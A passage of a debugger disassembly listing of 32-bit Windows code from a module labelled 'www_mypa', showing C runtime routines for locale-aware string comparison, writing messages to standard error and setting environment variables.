SCAS BYTE PTR ES:[EDI] 00407317 F7D1 NOT ECX 00407319 2BF9 SUB EDI,ECX 0040731B 8BF7 MOV ESI,EDI 0040731D 8BD9 MOV EBX,ECX 0040731F 8BFA MOV EDI,EDX 00407321 83C9 FF OR ECX,FFFFFFFF 00407324 F2:AE REPNE SCAS BYTE PTR ES:[EDI] 00407326 8BCB MOV ECX,EBX 00407328 4F DEC EDI 00407329 C1E9 02 SHR ECX,2 0040732C F3:A5 REP MOVS DWORD PTR ES:[EDI],DWORD PTR DS> 0040732E 8BCB MOV ECX,EBX 00407330 8D4424 1C LEA EAX,DWORD PTR SS:[ESP+1C] 00407334 83E1 03 AND ECX,3 00407337 50 PUSH EAX 00407338 F3:A4 REP MOVS BYTE PTR ES:[EDI],BYTE PTR DS:[> 0040733A E8 71140000 CALL www_mypa.004087B0 0040733F 83C4 0C ADD ESP,0C 00407342 5F POP EDI 00407343 5E POP ESI 00407344 5D POP EBP 00407345 5B POP EBX 00407346 81C4 A8010000 ADD ESP,1A8 0040734C C3 RETN 0040734D A1 E01A4100 MOV EAX,DWORD PTR DS:[411AE0] 00407352 85C0 TEST EAX,EAX 00407354 74 08 JE SHORT www_mypa.0040735E 00407356 8B70 10 MOV ESI,DWORD PTR DS:[EAX+10] 00407359 83FE FF CMP ESI,-1 0040735C 75 0A JNZ SHORT www_mypa.00407368 0040735E 6A F4 PUSH -0C 00407360 FF15 64224100 CALL DWORD PTR DS:[412264] ; kernel32.GetStdHandle 00407366 8BF0 MOV ESI,EAX 00407368 8B14ED BCEF4000 MOV EDX,DWORD PTR DS:[EBP*8+40EFBC] 0040736F 8D4C24 10 LEA ECX,DWORD PTR SS:[ESP+10] 00407373 6A 00 PUSH 0 00407375 51 PUSH ECX 00407376 8BFA MOV EDI,EDX 00407378 83C9 FF OR ECX,FFFFFFFF 0040737B 33C0 XOR EAX,EAX 0040737D F2:AE REPNE SCAS BYTE PTR ES:[EDI] 0040737F F7D1 NOT ECX 00407381 49 DEC ECX 00407382 51 PUSH ECX 00407383 52 PUSH EDX 00407384 56 PUSH ESI 00407385 FF15 A8214100 CALL DWORD PTR DS:[4121A8] ; kernel32.WriteFile 0040738B 5F POP EDI 0040738C 5E POP ESI 0040738D 5D POP EBP 0040738E 5B POP EBX 0040738F 81C4 A8010000 ADD ESP,1A8 00407395 C3 RETN 00407396 90 NOP 00407397 90 NOP 00407398 90 NOP 00407399 90 NOP 0040739A 90 NOP 0040739B 90 NOP 0040739C 90 NOP 0040739D 90 NOP 0040739E 90 NOP 0040739F 90 NOP 004073A0 A1 700A4100 MOV EAX,DWORD PTR DS:[410A70] 004073A5 83EC 18 SUB ESP,18 004073A8 85C0 TEST EAX,EAX 004073AA 53 PUSH EBX 004073AB 8B1D 84224100 MOV EBX,DWORD PTR DS:[412284] ; kernel32.CompareStringA 004073B1 55 PUSH EBP 004073B2 56 PUSH ESI 004073B3 57 PUSH EDI 004073B4 75 4E JNZ SHORT www_mypa.00407404 004073B6 6A 01 PUSH 1 004073B8 68 BCA34000 PUSH www_mypa.0040A3BC 004073BD 6A 01 PUSH 1 004073BF 68 BCA34000 PUSH www_mypa.0040A3BC 004073C4 6A 00 PUSH 0 004073C6 6A 00 PUSH 0 004073C8 FFD3 CALL EBX 004073CA 85C0 TEST EAX,EAX 004073CC 74 0C JE SHORT www_mypa.004073DA 004073CE C705 700A4100 02>MOV DWORD PTR DS:[410A70],2 004073D8 EB 2A JMP SHORT www_mypa.00407404 004073DA 6A 01 PUSH 1 004073DC 68 C0A34000 PUSH www_mypa.0040A3C0 004073E1 6A 01 PUSH 1 004073E3 68 C0A34000 PUSH www_mypa.0040A3C0 004073E8 6A 00 PUSH 0 004073EA 6A 00 PUSH 0 004073EC FF15 88224100 CALL DWORD PTR DS:[412288] ; kernel32.CompareStringW 004073F2 85C0 TEST EAX,EAX 004073F4 0F84 C6010000 JE www_mypa.004075C0 004073FA C705 700A4100 01>MOV DWORD PTR DS:[410A70],1 00407404 8B7424 38 MOV ESI,DWORD PTR SS:[ESP+38] 00407408 85F6 TEST ESI,ESI 0040740A 7E 12 JLE SHORT www_mypa.0040741E 0040740C 8B6C24 34 MOV EBP,DWORD PTR SS:[ESP+34] 00407410 56 PUSH ESI 00407411 55 PUSH EBP 00407412 E8 29230000 CALL www_mypa.00409740 00407417 83C4 08 ADD ESP,8 0040741A 8BF0 MOV ESI,EAX 0040741C EB 04 JMP SHORT www_mypa.00407422 0040741E 8B6C24 34 MOV EBP,DWORD PTR SS:[ESP+34] 00407422 8B7C24 40 MOV EDI,DWORD PTR SS:[ESP+40] 00407426 85FF TEST EDI,EDI 00407428 7E 14 JLE SHORT www_mypa.0040743E 0040742A 8B4424 3C MOV EAX,DWORD PTR SS:[ESP+3C] 0040742E 57 PUSH EDI 0040742F 50 PUSH EAX 00407430 E8 0B230000 CALL www_mypa.00409740 00407435 83C4 08 ADD ESP,8 00407438 894424 40 MOV DWORD PTR SS:[ESP+40],EAX 0040743C 8BF8 MOV EDI,EAX 0040743E A1 700A4100 MOV EAX,DWORD PTR DS:[410A70] 00407443 83F8 02 CMP EAX,2 00407446 75 1C JNZ SHORT www_mypa.00407464 00407448 8B4C24 3C MOV ECX,DWORD PTR SS:[ESP+3C] 0040744C 8B5424 30 MOV EDX,DWORD PTR SS:[ESP+30] 00407450 8B4424 2C MOV EAX,DWORD PTR SS:[ESP+2C] 00407454 57 PUSH EDI 00407455 51 PUSH ECX 00407456 56 PUSH ESI 00407457 55 PUSH EBP 00407458 52 PUSH EDX 00407459 50 PUSH EAX 0040745A FFD3 CALL EBX 0040745C 5F POP EDI 0040745D 5E POP ESI 0040745E 5D POP EBP 0040745F 5B POP EBX 00407460 83C4 18 ADD ESP,18 00407463 C3 RETN 00407464 83F8 01 CMP EAX,1 00407467 0F85 F0010000 JNZ www_mypa.0040765D 0040746D 8B5C24 44 MOV EBX,DWORD PTR SS:[ESP+44] 00407471 33C0 XOR EAX,EAX 00407473 85DB TEST EBX,EBX 00407475 894424 10 MOV DWORD PTR SS:[ESP+10],EAX 00407479 894424 38 MOV DWORD PTR SS:[ESP+38],EAX 0040747D 75 06 JNZ SHORT www_mypa.00407485 0040747F 8B1D 980A4100 MOV EBX,DWORD PTR DS:[410A98] 00407485 85F6 TEST ESI,ESI 00407487 74 08 JE SHORT www_mypa.00407491 00407489 85FF TEST EDI,EDI 0040748B 0F85 FB000000 JNZ www_mypa.0040758C 00407491 3BF7 CMP ESI,EDI 00407493 75 0D JNZ SHORT www_mypa.004074A2 00407495 B8 02000000 MOV EAX,2 0040749A 5F POP EDI 0040749B 5E POP ESI 0040749C 5D POP EBP 0040749D 5B POP EBX 0040749E 83C4 18 ADD ESP,18 004074A1 C3 RETN 004074A2 83FF 01 CMP EDI,1 004074A5 7E 0D JLE SHORT www_mypa.004074B4 004074A7 B8 01000000 MOV EAX,1 004074AC 5F POP EDI 004074AD 5E POP ESI 004074AE 5D POP EBP 004074AF 5B POP EBX 004074B0 83C4 18 ADD ESP,18 004074B3 C3 RETN 004074B4 83FE 01 CMP ESI,1 004074B7 7E 0D JLE SHORT www_mypa.004074C6 004074B9 B8 03000000 MOV EAX,3 004074BE 5F POP EDI 004074BF 5E POP ESI 004074C0 5D POP EBP 004074C1 5B POP EBX 004074C2 83C4 18 ADD ESP,18 004074C5 C3 RETN 004074C6 8D4C24 14 LEA ECX,DWORD PTR SS:[ESP+14] 004074CA 51 PUSH ECX 004074CB 53 PUSH EBX 004074CC FF15 68224100 CALL DWORD PTR DS:[412268] ; kernel32.GetCPInfo 004074D2 85C0 TEST EAX,EAX 004074D4 75 08 JNZ SHORT www_mypa.004074DE 004074D6 5F POP EDI 004074D7 5E POP ESI 004074D8 5D POP EBP 004074D9 5B POP EBX 004074DA 83C4 18 ADD ESP,18 004074DD C3 RETN 004074DE 85F6 TEST ESI,ESI 004074E0 7E 4B JLE SHORT www_mypa.0040752D 004074E2 837C24 14 02 CMP DWORD PTR SS:[ESP+14],2 004074E7 73 0D JNB SHORT www_mypa.004074F6 004074E9 B8 03000000 MOV EAX,3 004074EE 5F POP EDI 004074EF 5E POP ESI 004074F0 5D POP EBP 004074F1 5B POP EBX 004074F2 83C4 18 ADD ESP,18 004074F5 C3 RETN 004074F6 8A4C24 1A MOV CL,BYTE PTR SS:[ESP+1A] 004074FA 8D4424 1A LEA EAX,DWORD PTR SS:[ESP+1A] 004074FE 84C9 TEST CL,CL 00407500 74 1E JE SHORT www_mypa.00407520 00407502 8A50 01 MOV DL,BYTE PTR DS:[EAX+1] 00407505 84D2 TEST DL,DL 00407507 74 17 JE SHORT www_mypa.00407520 00407509 8A4D 00 MOV CL,BYTE PTR SS:[EBP] 0040750C 8A18 MOV BL,BYTE PTR DS:[EAX] 0040750E 3ACB CMP CL,BL 00407510 72 04 JB SHORT www_mypa.00407516 00407512 3ACA CMP CL,DL 00407514 76 69 JBE SHORT www_mypa.0040757F 00407516 8A48 02 MOV CL,BYTE PTR DS:[EAX+2] 00407519 83C0 02 ADD EAX,2 0040751C 84C9 TEST CL,CL 0040751E ^75 E2 JNZ SHORT www_mypa.00407502 00407520 B8 03000000 MOV EAX,3 00407525 5F POP EDI 00407526 5E POP ESI 00407527 5D POP EBP 00407528 5B POP EBX 00407529 83C4 18 ADD ESP,18 0040752C C3 RETN 0040752D 85FF TEST EDI,EDI 0040752F 7E 5B JLE SHORT www_mypa.0040758C 00407531 837C24 14 02 CMP DWORD PTR SS:[ESP+14],2 00407536 73 0D JNB SHORT www_mypa.00407545 00407538 B8 01000000 MOV EAX,1 0040753D 5F POP EDI 0040753E 5E POP ESI 0040753F 5D POP EBP 00407540 5B POP EBX 00407541 83C4 18 ADD ESP,18 00407544 C3 RETN 00407545 8A4C24 1A MOV CL,BYTE PTR SS:[ESP+1A] 00407549 8D4424 1A LEA EAX,DWORD PTR SS:[ESP+1A] 0040754D 84C9 TEST CL,CL 0040754F 74 21 JE SHORT www_mypa.00407572 00407551 8A50 01 MOV DL,BYTE PTR DS:[EAX+1] 00407554 84D2 TEST DL,DL 00407556 74 1A JE SHORT www_mypa.00407572 00407558 8B4C24 3C MOV ECX,DWORD PTR SS:[ESP+3C] 0040755C 8A18 MOV BL,BYTE PTR DS:[EAX] 0040755E 8A09 MOV CL,BYTE PTR DS:[ECX] 00407560 3ACB CMP CL,BL 00407562 72 04 JB SHORT www_mypa.00407568 00407564 3ACA CMP CL,DL 00407566 76 17 JBE SHORT www_mypa.0040757F 00407568 8A48 02 MOV CL,BYTE PTR DS:[EAX+2] 0040756B 83C0 02 ADD EAX,2 0040756E 84C9 TEST CL,CL 00407570 ^75 DF JNZ SHORT www_mypa.00407551 00407572 B8 01000000 MOV EAX,1 00407577 5F POP EDI 00407578 5E POP ESI 00407579 5D POP EBP 0040757A 5B POP EBX 0040757B 83C4 18 ADD ESP,18 0040757E C3 RETN 0040757F B8 02000000 MOV EAX,2 00407584 5F POP EDI 00407585 5E POP ESI 00407586 5D POP EBP 00407587 5B POP EBX 00407588 83C4 18 ADD ESP,18 0040758B C3 RETN 0040758C 8B3D 58224100 MOV EDI,DWORD PTR DS:[412258] ; kernel32.MultiByteToWideChar 00407592 6A 00 PUSH 0 00407594 6A 00 PUSH 0 00407596 56 PUSH ESI 00407597 55 PUSH EBP 00407598 6A 09 PUSH 9 0040759A 53 PUSH EBX 0040759B FFD7 CALL EDI 0040759D 8BE8 MOV EBP,EAX 0040759F 85ED TEST EBP,EBP 004075A1 75 08 JNZ SHORT www_mypa.004075AB 004075A3 5F POP EDI 004075A4 5E POP ESI 004075A5 5D POP EBP 004075A6 5B POP EBX 004075A7 83C4 18 ADD ESP,18 004075AA C3 RETN 004075AB 8D542D 00 LEA EDX,DWORD PTR SS:[EBP+EBP] 004075AF 52 PUSH EDX 004075B0 E8 4BB0FFFF CALL www_mypa.00402600 004075B5 83C4 04 ADD ESP,4 004075B8 894424 44 MOV DWORD PTR SS:[ESP+44],EAX 004075BC 85C0 TEST EAX,EAX 004075BE 75 0A JNZ SHORT www_mypa.004075CA 004075C0 33C0 XOR EAX,EAX 004075C2 5F POP EDI 004075C3 5E POP ESI 004075C4 5D POP EBP 004075C5 5B POP EBX 004075C6 83C4 18 ADD ESP,18 004075C9 C3 RETN 004075CA 55 PUSH EBP 004075CB 50 PUSH EAX 004075CC 8B4424 3C MOV EAX,DWORD PTR SS:[ESP+3C] 004075D0 56 PUSH ESI 004075D1 50 PUSH EAX 004075D2 6A 01 PUSH 1 004075D4 53 PUSH EBX 004075D5 FFD7 CALL EDI 004075D7 85C0 TEST EAX,EAX 004075D9 74 62 JE SHORT www_mypa.0040763D 004075DB 8B4C24 40 MOV ECX,DWORD PTR SS:[ESP+40] 004075DF 8B5424 3C MOV EDX,DWORD PTR SS:[ESP+3C] 004075E3 6A 00 PUSH 0 004075E5 6A 00 PUSH 0 004075E7 51 PUSH ECX 004075E8 52 PUSH EDX 004075E9 6A 09 PUSH 9 004075EB 53 PUSH EBX 004075EC FFD7 CALL EDI 004075EE 8BF0 MOV ESI,EAX 004075F0 85F6 TEST ESI,ESI 004075F2 74 49 JE SHORT www_mypa.0040763D 004075F4 8D0436 LEA EAX,DWORD PTR DS:[ESI+ESI] 004075F7 50 PUSH EAX 004075F8 E8 03B0FFFF CALL www_mypa.00402600 004075FD 83C4 04 ADD ESP,4 00407600 894424 38 MOV DWORD PTR SS:[ESP+38],EAX 00407604 85C0 TEST EAX,EAX 00407606 74 35 JE SHORT www_mypa.0040763D 00407608 8B4C24 40 MOV ECX,DWORD PTR SS:[ESP+40] 0040760C 8B5424 3C MOV EDX,DWORD PTR SS:[ESP+3C] 00407610 56 PUSH ESI 00407611 50 PUSH EAX 00407612 51 PUSH ECX 00407613 52 PUSH EDX 00407614 6A 01 PUSH 1 00407616 53 PUSH EBX 00407617 FFD7 CALL EDI 00407619 85C0 TEST EAX,EAX 0040761B 74 20 JE SHORT www_mypa.0040763D 0040761D 8B4424 38 MOV EAX,DWORD PTR SS:[ESP+38] 00407621 8B4C24 44 MOV ECX,DWORD PTR SS:[ESP+44] 00407625 8B5424 30 MOV EDX,DWORD PTR SS:[ESP+30] 00407629 56 PUSH ESI 0040762A 50 PUSH EAX 0040762B 8B4424 34 MOV EAX,DWORD PTR SS:[ESP+34] 0040762F 55 PUSH EBP 00407630 51 PUSH ECX 00407631 52 PUSH EDX 00407632 50 PUSH EAX 00407633 FF15 88224100 CALL DWORD PTR DS:[412288] ; kernel32.CompareStringW 00407639 8BF0 MOV ESI,EAX 0040763B EB 04 JMP SHORT www_mypa.00407641 0040763D 8B7424 10 MOV ESI,DWORD PTR SS:[ESP+10] 00407641 8B4C24 44 MOV ECX,DWORD PTR SS:[ESP+44] 00407645 51 PUSH ECX 00407646 E8 25C1FFFF CALL www_mypa.00403770 0040764B 8B5424 3C MOV EDX,DWORD PTR SS:[ESP+3C] 0040764F 83C4 04 ADD ESP,4 00407652 52 PUSH EDX 00407653 E8 18C1FFFF CALL www_mypa.00403770 00407658 83C4 04 ADD ESP,4 0040765B 8BC6 MOV EAX,ESI 0040765D 5F POP EDI 0040765E 5E POP ESI 0040765F 5D POP EBP 00407660 5B POP EBX 00407661 83C4 18 ADD ESP,18 00407664 C3 RETN 00407665 90 NOP 00407666 90 NOP 00407667 90 NOP 00407668 90 NOP 00407669 90 NOP 0040766A 90 NOP 0040766B 90 NOP 0040766C 90 NOP 0040766D 90 NOP 0040766E 90 NOP 0040766F 90 NOP 00407670 51 PUSH ECX 00407671 53 PUSH EBX 00407672 55 PUSH EBP 00407673 56 PUSH ESI 00407674 57 PUSH EDI 00407675 8B7C24 18 MOV EDI,DWORD PTR SS:[ESP+18] 00407679 85FF TEST EDI,EDI 0040767B 0F84 AD010000 JE www_mypa.0040782E 00407681 6A 3D PUSH 3D 00407683 57 PUSH EDI 00407684 E8 57130000 CALL www_mypa.004089E0 00407689 8BF0 MOV ESI,EAX 0040768B 83C4 08 ADD ESP,8 0040768E 85F6 TEST ESI,ESI 00407690 0F84 98010000 JE www_mypa.0040782E 00407696 3BFE CMP EDI,ESI 00407698 0F84 90010000 JE www_mypa.0040782E 0040769E 8A56 01 MOV DL,BYTE PTR DS:[ESI+1] 004076A1 8B0D 14074100 MOV ECX,DWORD PTR DS:[410714] 004076A7 33C0 XOR EAX,EAX 004076A9 84D2 TEST DL,DL 004076AB 0F94C0 SETE AL 004076AE 8BE8 MOV EBP,EAX 004076B0 A1 10074100 MOV EAX,DWORD PTR DS:[410710] 004076B5 3BC1 CMP EAX,ECX 004076B7 75 0E JNZ SHORT www_mypa.004076C7 004076B9 50 PUSH EAX 004076BA E8 41020000 CALL www_mypa.00407900 004076BF 83C4 04 ADD ESP,4 004076C2 A3 10074100 MOV DWORD PTR DS:[410710],EAX 004076C7 85C0 TEST EAX,EAX 004076C9 75 77 JNZ SHORT www_mypa.00407742 004076CB 8B4424 1C MOV EAX,DWORD PTR SS:[ESP+1C] 004076CF 85C0 TEST EAX,EAX 004076D1 74 1B JE SHORT www_mypa.004076EE 004076D3 A1 18074100 MOV EAX,DWORD PTR DS:[410718] 004076D8 85C0 TEST EAX,EAX 004076DA 74 12 JE SHORT www_mypa.004076EE 004076DC E8 0FC0FFFF CALL www_mypa.004036F0 004076E1 85C0 TEST EAX,EAX 004076E3 74 58 JE SHORT www_mypa.0040773D 004076E5 83C8 FF OR EAX,FFFFFFFF 004076E8 5F POP EDI 004076E9 5E POP ESI 004076EA 5D POP EBP 004076EB 5B POP EBX 004076EC 59 POP ECX 004076ED C3 RETN 004076EE 85ED TEST EBP,EBP 004076F0 74 08 JE SHORT www_mypa.004076FA 004076F2 33C0 XOR EAX,EAX 004076F4 5F POP EDI 004076F5 5E POP ESI 004076F6 5D POP EBP 004076F7 5B POP EBX 004076F8 59 POP ECX 004076F9 C3 RETN 004076FA 6A 04 PUSH 4 004076FC E8 FFAEFFFF CALL www_mypa.00402600 00407701 83C4 04 ADD ESP,4 00407704 A3 10074100 MOV DWORD PTR DS:[410710],EAX 00407709 85C0 TEST EAX,EAX 0040770B 0F84 1D010000 JE www_mypa.0040782E 00407711 C700 00000000 MOV DWORD PTR DS:[EAX],0 00407717 A1 18074100 MOV EAX,DWORD PTR DS:[410718] 0040771C 85C0 TEST EAX,EAX 0040771E 75 1D JNZ SHORT www_mypa.0040773D 00407720 6A 04 PUSH 4 00407722 E8 D9AEFFFF CALL www_mypa.00402600 00407727 83C4 04 ADD ESP,4 0040772A A3 18074100 MOV DWORD PTR DS:[410718],EAX 0040772F 85C0 TEST EAX,EAX 00407731 0F84 F7000000 JE www_mypa.0040782E 00407737 C700 00000000 MOV DWORD PTR DS:[EAX],0 0040773D A1 10074100 MOV EAX,DWORD PTR DS:[410710] 00407742 8BD8 MOV EBX,EAX 00407744 8BC6 MOV EAX,ESI 00407746 2BC7 SUB EAX,EDI 00407748 50 PUSH EAX 00407749 57 PUSH EDI 0040774A 894424 18 MOV DWORD PTR SS:[ESP+18],EAX 0040774E E8 2D010000 CALL www_mypa.00407880 00407753 8BF0 MOV ESI,EAX 00407755 83C4 08 ADD ESP,8 00407758 85F6 TEST ESI,ESI 0040775A 0F8C DF000000 JL www_mypa.0040783F 00407760 833B 00 CMP DWORD PTR DS:[EBX],0 00407763 0F84 D6000000 JE www_mypa.0040783F 00407769 85ED TEST EBP,EBP 0040776B 0F84 C6000000 JE www_mypa.00407837 00407771 8B0CB3 MOV ECX,DWORD PTR DS:[EBX+ESI*4] 00407774 8D3CB3 LEA EDI,DWORD PTR DS:[EBX+ESI*4] 00407777 51 PUSH ECX 00407778 E8 F3BFFFFF CALL www_mypa.00403770 0040777D 8B07 MOV EAX,DWORD PTR DS:[EDI] 0040777F 83C4 04 ADD ESP,4 00407782 85C0 TEST EAX,EAX 00407784 74 13 JE SHORT www_mypa.00407799 00407786 8BC7 MOV EAX,EDI 00407788 8B50 04 MOV EDX,DWORD PTR DS:[EAX+4] 0040778B 83C0 04 ADD EAX,4 0040778E 8917 MOV DWORD PTR DS:[EDI],EDX 00407790 46 INC ESI 00407791 8B08 MOV ECX,DWORD PTR DS:[EAX] 00407793 8BF8 MOV EDI,EAX 00407795 85C9 TEST ECX,ECX 00407797 ^75 EF JNZ SHORT www_mypa.00407788 00407799 8D04B5 00000000 LEA EAX,DWORD PTR DS:[ESI*4] 004077A0 50 PUSH EAX 004077A1 53 PUSH EBX 004077A2 E8 99100000 CALL www_mypa.00408840 004077A7 83C4 08 ADD ESP,8 004077AA 85C0 TEST EAX,EAX 004077AC 74 05 JE SHORT www_mypa.004077B3 004077AE A3 10074100 MOV DWORD PTR DS:[410710],EAX 004077B3 8B7C24 18 MOV EDI,DWORD PTR SS:[ESP+18] 004077B7 8B4424 1C MOV EAX,DWORD PTR SS:[ESP+1C] 004077BB 85C0 TEST EAX,EAX 004077BD 74 67 JE SHORT www_mypa.00407826 004077BF 83C9 FF OR ECX,FFFFFFFF 004077C2 33C0 XOR EAX,EAX 004077C4 F2:AE REPNE SCAS BYTE PTR ES:[EDI] 004077C6 F7D1 NOT ECX 004077C8 41 INC ECX 004077C9 51 PUSH ECX 004077CA E8 31AEFFFF CALL www_mypa.00402600 004077CF 8BD8 MOV EBX,EAX 004077D1 83C4 04 ADD ESP,4 004077D4 85DB TEST EBX,EBX 004077D6 74 4E JE SHORT www_mypa.00407826 004077D8 8B7C24 18 MOV EDI,DWORD PTR SS:[ESP+18] 004077DC 83C9 FF OR ECX,FFFFFFFF 004077DF 33C0 XOR EAX,EAX 004077E1 F2:AE REPNE SCAS BYTE PTR ES:[EDI] 004077E3 F7D1 NOT ECX 004077E5 2BF9 SUB EDI,ECX 004077E7 8B4424 10 MOV EAX,DWORD PTR SS:[ESP+10] 004077EB 8BD1 MOV EDX,ECX 004077ED 8BF7 MOV ESI,EDI 004077EF 8BFB MOV EDI,EBX 004077F1 C1E9 02 SHR ECX,2 004077F4 F3:A5 REP MOVS DWORD PTR ES:[EDI],DWORD PTR DS> 004077F6 8BCA MOV ECX,EDX 004077F8 83E1 03 AND ECX,3 004077FB F7DD NEG EBP 004077FD F3:A4 REP MOVS BYTE PTR ES:[EDI],BYTE PTR DS:[> 004077FF 1BED SBB EBP,EBP 00407801 C60403 00 MOV BYTE PTR DS:[EBX+EAX],0 00407805 8D4403 01 LEA EAX,DWORD PTR DS:[EBX+EAX+1] 00407809 F7D5 NOT EBP 0040780B 23E8 AND EBP,EAX 0040780D 55 PUSH EBP 0040780E 53 PUSH EBX 0040780F FF15 38224100 CALL DWORD PTR DS:[412238] ; kernel32.SetEnvironmentVariableA 00407815 53 PUSH EBX 00407816 E8 55BFFFFF CALL www_mypa.00403770 0040781B 83C4 04 ADD ESP,4 0040781E 33C0 XOR EAX,EAX 00407820 5F POP EDI 00407821 5E POP ESI 00407822 5D POP EBP 00407823 5B POP EBX 00407824 59 POP ECX 00407825 C3 RETN 00407826 33C0 XOR EAX,EAX 00407828 5F POP EDI 00407829 5E POP ESI 0040782A 5D POP EBP 0040782B 5B POP EBX 0040782C 59 POP ECX 0040782D C3 RETN 0040782E 5F POP EDI 0040782F 5E POP ESI 00407830 5D POP EBP 00407831 83C8 FF OR EAX,FFFFFFFF 00407834 5B POP EBX 00407835 59 POP ECX 00407836 C3 RETN 00407837 893CB3 MOV DWORD PTR DS:[EBX+ESI*4],EDI 0040783A ^E9 78FFFFFF JMP www_mypa.004077B7 0040783F 85ED TEST EBP,EBP 00407841 ^75 E3 JNZ SHORT www_mypa.00407826 00407843 85F6 TEST ESI,ESI 00407845 7D 02 JGE SHORT www_mypa.00407849 00407847 F7DE NEG ESI 00407849 8D0CB5 08000000 LEA ECX,DWORD PTR DS:[ESI*4+8] 00407850 51 PUSH ECX 00407851 53 PUSH EBX 00407852 E8 E90F0000 CALL www_mypa.00408840 00407857 83C4 08 ADD ESP,8 0040785A 85C0 TEST EAX,EAX 0040785C ^74 D0 JE SHORT www_mypa.0040782E 0040785E 893CB0 MOV DWORD PTR DS:[EAX+ESI*4],EDI 00407861 C744B0 04 000000>MOV DWORD PTR DS:[EAX+ESI*4+4],0 00407869 A3 10074100 MOV DWORD PTR DS:[410710],EAX 0040786E ^E9 44FFFFFF JMP www_mypa.004077B7 00407873 90 NOP 00407874 90 NOP 00407875 90 NOP 00407876 90 NOP 00407877 90 NOP 00407878 90 NOP 00407879 90 NOP 0040787A 90 NOP 0040787B 90 NOP 0040787C 90 NOP 0040787D 90 NOP 0040787E 90 NOP 0040787F 90 NOP 00407880 53 PUSH EBX 00407881 56 PUSH ESI 00407882 8B35 10074100 MOV ESI,DWORD PTR DS:[410710] 00407888 57 PUSH EDI 00407889 8B06 MOV EAX,DWORD PTR DS:[ESI] 0040788B 85C0 TEST EAX,EAX 0040788D 74 52 JE SHORT www_mypa.004078E1 0040788F 8B7C24 14 MOV EDI,DWORD PTR SS:[ESP+14] 00407893 8B5C24 10 MOV EBX,DWORD PTR SS:[ESP+10] 00407897 57 PUSH EDI 00407898 50 PUSH EAX 00407899 53 PUSH EBX 0040789A E8 11BEFFFF CALL www_mypa.004036B0 0040789F 83C4 0C ADD ESP,0C 004078A2 85C0 TEST EAX,EAX 004078A4 75 0D JNZ SHORT www_mypa.004078B3 004078A6 8B06 MOV EAX,DWORD PTR DS:[ESI] 004078A8 8A0438 MOV AL,BYTE PTR DS:[EAX+EDI] 004078AB 3C 3D CMP AL,3D 004078AD 74 21 JE SHORT www_mypa.004078D0 004078AF 84C0 TEST AL,AL 004078B1 74 1D JE SHORT www_mypa.004078D0 004078B3 8B46 04 MOV EAX,DWORD PTR DS:[ESI+4] 004078B6 83C6 04 ADD ESI,4 004078B9 85C0 TEST EAX,EAX 004078BB ^75 DA JNZ SHORT www_mypa.00407897 004078BD 8BC6 MOV EAX,ESI 004078BF 8B35 10074100 MOV ESI,DWORD PTR DS:[410710] 004078C5 2BC6 SUB EAX,ESI 004078C7 C1F8 02 SAR EAX,2 004078CA F7D8 NEG EAX 004078CC 5F POP EDI 004078CD 5E POP ESI 004078CE 5B POP EBX 004078CF C3 RETN 004078D0 8B15 10074100 MOV EDX,DWORD PTR DS:[410710] 004078D6 8BC6 MOV EAX,ESI 004078D8 2BC2 SUB EAX,EDX 004078DA C1F8 02 SAR EAX,2 004078DD 5F POP EDI 004078DE 5E POP ESI 004078DF 5B POP EBX 004078E0 C3 RETN 004078E1 8BC6 MOV EAX,ESI 004078E3 8B35 10074100 MOV ESI,DWORD PTR DS:[410710] 004078E9 2BC6 SUB EAX,ESI 004078EB 5F POP EDI 004078EC C1F8 02 SAR EAX,2 004078EF 5E POP ESI 004078F0 5B POP EBX 004078F1 F7D8 NEG EAX 004078F3 C3 RETN 004078F4 90 NOP 004078F5 90 NOP 004078F6 90 NOP 004078F7 90 NOP 004078F8 90 NOP 004078F9 90 NOP 004078FA 90 NOP 004078FB 90 NOP 004078FC 90 NOP 004078FD 90 NOP 004078FE 90 NOP 004078FF 90 NOP 00407900 57 PUSH EDI 00407901 8B7C24 08 MOV EDI,DWORD PTR SS:[ESP+8] 00407905 33C9 XOR ECX,ECX 00407907 85FF TEST EDI,EDI 00407909 75 04 JNZ SHORT www_mypa.0040790F 0040790B 33C0 XOR EAX,EAX 0040790D 5F POP EDI 0040790E C3 RETN 0040790F 8B17 MOV EDX,DWORD PTR DS:[EDI] 00407911 56 PUSH ESI 00407912 85D2 TEST EDX,EDX 00407914 53 PUSH EBX 00407915 8D47 04 LEA EAX,DWORD PTR DS:[EDI+4] 00407918 74 0A JE SHORT www_mypa.00407924 0040791A 8B10 MOV EDX,DWORD PTR DS:[EAX] 0040791C 41 INC ECX 0040791D 83C0 04 ADD EAX,4 00407920 85D2 TEST EDX,EDX 00407922 ^75 F6 JNZ SHORT www_mypa.0040791A 00407924 8D048D 04000000 LEA EAX,DWORD PTR DS:[ECX*4+4] 0040792B 50 PUSH EAX 0040792C E8 CFACFFFF CALL www_mypa.00402600 00407931 8BF0 MOV ESI,EAX 00407933 83C4 04 ADD ESP,4 00407936 85F6 TEST ESI,ESI 00407938 8BDE MOV EBX,ESI 0040793A 75 0A JNZ SHORT www_mypa.00407946 0040793C 6A 09 PUSH 9 0040793E E8 3DBDFFFF CALL www_mypa.00403680 00407943 83C4 04 ADD ESP,4 00407946 8B07 MOV EAX,DWORD PTR DS:[EDI] 00407948 85C0 TEST EAX,EAX 0040794A 74 17 JE SHORT www_mypa.00407963 0040794C 50 PUSH EAX 0040794D 83C7 04 ADD EDI,4 00407950 E8 3B110000 CALL www_mypa.00408A90 00407955 8906 MOV DWORD PTR DS:[ESI],EAX 00407957 8B07 MOV EAX,DWORD PTR DS:[EDI] 00407959 83C4 04 ADD ESP,4 0040795C 83C6 04 ADD ESI,4 0040795F 85C0 TEST EAX,EAX 00407961 ^75 E9 JNZ SHORT www_mypa.0040794C 00407963 8BC3 MOV EAX,EBX 00407965 C706 00000000 MOV DWORD PTR DS:[ESI],0 0040796B 5B POP EBX 0040796C 5E POP ESI 0040796D 5F POP EDI 0040796E C3 RETN 0040796F 90 NOP 00407970 53 PUSH EBX 00407971 55 PUSH EBP 00407972 56 PUSH ESI 00407973 57 PUSH EDI 00407974 83CD FF OR EBP,FFFFFFFF 00407977 33F6 XOR ESI,ESI 00407979 33FF XOR EDI,EDI 0040797B B9 E01A4100 MOV ECX,www_mypa.00411AE0 00407980 B3 01 MOV BL,1 00407982 8B01 MOV EAX,DWORD PTR DS:[ECX] 00407984 85C0 TEST EAX,EAX 00407986 74 44 JE SHORT www_mypa.004079CC 00407988 8D90 00010000 LEA EDX,DWORD PTR DS:[EAX+100] 0040798E 3BC2 CMP EAX,EDX 00407990 73 1F JNB SHORT www_mypa.004079B1 00407992 8458 04 TEST BYTE PTR 